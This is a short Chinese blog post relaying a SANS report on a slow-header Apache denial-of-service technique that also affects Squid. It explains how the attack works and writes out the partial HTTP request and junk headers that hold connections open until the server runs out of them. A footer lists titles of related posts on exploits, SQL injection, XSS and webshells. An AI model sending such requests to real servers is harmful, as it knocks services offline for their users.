SANS昨天报道了一个新的Apache DoS漏洞利用工具：http://isc.sans.org/diary.html?storyid=6601
大致原理是, 攻击者先发送一个包：
GET / HTTP/1.1\r\n
Host: host\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n
结尾少了一个\r\n，所以apache等待，攻击者再发一坨狗屎过去：
X-a: b\r\n
Apache一看啥都不是，继续痴痴地等待。。。
攻击者可以多发送一些类似的组合，直到Apache连接数耗尽。
这个东西威力还挺大，因为不需要太多流量，就是一些HTTP头。
目前影响Apache1.x, 2.x和Squid
via:Sowhat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
如原创文章转载，请注明： 转自：夜火&轨迹's Blog [ http://www.15897.com/ ]
本文链接地址： http://www.15897.com/blog/post/Apache-DoS-exploit.html
RSS订阅
|浏览:
收藏到网摘
Apple iTunes 8.1.1.10 (itms/itcp)远程缓冲区溢出漏洞利用工具Exploit (win) (2009-6-13 23:20:36)
灰鸽子控制端逻辑漏洞 (2009-5-29 21:56:46)
PJBlog 3.0.6.170 cls_logAction.asp SQL注入漏洞 (2009-5-9 21:42:15)
PJBlog 3.0.6.170 Getarticle.asp页面跨站脚本攻击XSS漏洞 (2009-5-9 21:27:17)
PJBlog 3.0.6.170 Action.asp页面跨站脚本攻击漏洞 (2009-5-9 21:11:44)
Bo-Blog 2.0.3 注入漏洞 (2009-5-8 22:4:44)
ECShop网店系统< =V2.6.2 后台拿webshell (2009-4-27 22:11:1)
IIS6 0day - Internet Infomation Server 6.0 ISAPI Filename Analytic Vulnerability (2009-4-24 22:49:40)
PJblog V3.0 0day Vbs版漏洞利用工具exploit (2009-4-24 22:42:42)
Linux本地提权漏洞Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit (2009-4-24 22:31:59)
1.日光博客
2.xloong
◎欢迎参与讨论，请在这里发表您的看法、交流您的观点。
